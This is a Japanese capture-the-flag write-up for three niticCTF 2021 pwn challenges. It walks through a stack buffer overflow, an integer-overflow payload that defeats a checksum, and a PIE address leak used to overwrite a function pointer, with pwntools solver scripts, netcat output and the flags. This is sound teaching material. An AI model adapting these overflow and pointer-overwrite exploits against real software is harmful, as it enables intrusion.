###### tags: `pwn` `niticCTF2021` # pwn_monster1, 2, 3 - niticCTF ![](https://img.shields.io/badge/Type-Stack%20Overflow-red) solverのソースコードは、[GitHub](https://github.com/yu1hpa/ctf-writeups/tree/master/2021/NITIC)にあります。 ## pwn_monster1 ### TL;DR - ncしたら、nameに入力した文字が溢れそうなので`A`を大量に入力する - FLAG GET ### writeup <details><summary>ncした結果</summary><div> $ nc 35.200.120.35 9001 ``` ____ __ __ _ | _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __ | |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__| | __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ | |_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_| Press Any Key Welcome to Pwn Monster World! I'll give your first monster! Let's give your monster a name! +--------+--------------------+----------------------+ |name | 0x0000000000000000 | | | | 0x0000000000000000 | | |HP | 0x0000000000000064 | 100 | |ATK | 0x000000000000000a | 10 | +--------+--------------------+----------------------+ ``` </div></details> ``` +--------+--------------------+----------------------+ |name | 0x0000000000000000 | | | | 0x0000000000000000 | | |HP | 0x0000000000000064 | 100 | |ATK | 0x000000000000000a | 10 | +--------+--------------------+----------------------+ ``` ncした時に現れるこの部分から、たくさんの`A`を与えてみる ``` Input name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa +--------+--------------------+----------------------+ |name | 0x4141414141414141 | AAAAAAAA | | | 0x4141414141414141 | AAAAAAAA | |HP | 0x4141414141414141 | 4702111234474983745 | |ATK | 0x4141414141414141 | 4702111234474983745 | +--------+--------------------+----------------------+ OK, Nice name. Let's battle with Rival! If you win, give you FLAG. [You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745 [Rival] pwnchu HP: 9999 Your Turn. Rival monster took 4702111234474983745 damage! [You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745 [Rival] pwnchu HP: -4702111234474973746 Win! nitic_ctf{We1c0me_t0_pwn_w0r1d!} *** stack smashing detected ***: terminated Aborted (core dumped) ``` pwn_monster1のFLAG ==nitic_ctf{We1c0me_t0_pwn_w0r1d!}== ## pwn_monster2 ### TL;DR - 和が110になればいいので、0xFFで0に繰り上がることを利用する - FLAG GET ### writeup <details><summary>give_monster_name関数</summary><div> ```c= void give_monster_name(Monster* monster) { printf("Let's give your monster a name!\n"); print_monster_infomation(*monster); int64_t checksum = monster->hp + monster->attack; printf("Checksum: %ld\n", checksum); printf("Input name: "); scanf("%s%*c", monster->name); print_monster_infomation(*monster); printf("Checksum: %ld\n", monster->hp + monster->attack); if (monster->hp + monster->attack != checksum) { puts("Detect cheat."); exit(1); } puts("OK, Nice name."); } ``` </div></details> ```c= int64_t checksum = monster->hp + monster->attack; ~略~ if (monster->hp + monster->attack != checksum) { puts("Detect cheat."); exit(1); } //(なお、main関数でhpとATKの初期値がそれぞれ100と10に設定されている) ``` `hp`と`ATK`の和が`110`になるためには、 `hp`の値がマイナスにならない程度に引き上げて、`0xFFFFFFFFFFFFFFFF`を超えたら繰り上がることを利用する。 ### solver ```python= from pwn import * #io = process("./vuln") io = remote("35.200.120.35", 9002) payload = b"" payload += b"A"*0x10 payload += b"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x0F" #1152921504606846975 payload += b"\x6F\x00\x00\x00\x00\x00\x00\xF0" #-1152921504606846865 io.sendlineafter("Input name: ", payload) io.interactive() ``` pwn_monster2のFLAG ==nitic_ctf{buffer_and_1nteger_overfl0w}== ## pwn_monster3 ### TL;DR - `PIE`が有効なのでbase addressを求める - リークされてるcry関数のアドレスとbinaryの中にある相対アドレスの差でbase addressが求められる - base addressとshow_flagの相対アドレスの和で求めたSHOW_FLAGでcryのアドレスを上書きする ### writeup ``` $ nc 35.200.120.35 9003 ____ __ __ _ | _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __ | |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__| | __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ | |_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_| Press Any Key Welcome to Pwn Monster World! I'll give your first monster! Let's give your monster a name! +--------+--------------------+----------------------+ |name | 0x0000000000000000 | | | | 0x0000000000000000 | | |HP | 0x0000000000000064 | 100 | |ATK | 0x000000000000000a | 10 | |cry() | 0x000055d2362ad34e | | +--------+--------------------+----------------------+ Input name: ``` まず、`ATK`の下にあるcry関数のアドレスを取得する。(solverの7,8行目) バイナリ内のcry関数`my_monster_cry`のアドレスを得て、差を取る。(solverの10行目) これによって、base addressがわかる。 base addressと`show_flag`の相対アドレスの和をとって、 cry関数のアドレスを上書きする。(14~17行目) ### solver ```python= from pwn import * elf = ELF("./vuln") #io = process("./vuln") io = remote("35.200.120.35", "9003") # leak cry function address io.recvuntil("cry() | ") cry_addr = int(io.recvuntil(" ").strip(), 16) # calc binary base address bin_baseaddr = cry_addr - elf.symbols["my_monster_cry"] # build show_flag function address SHOW_FLAG = bin_baseaddr + elf.symbols["show_flag"] payload = b"" payload += b"A"*0x10 + b"B"*0x10 payload += p64(SHOW_FLAG) io.sendafter("Input name: ", payload) io.interactive() ``` pwn_monster3のFLAG ==nitic_ctf{rewrite_function_pointer_is_fun}==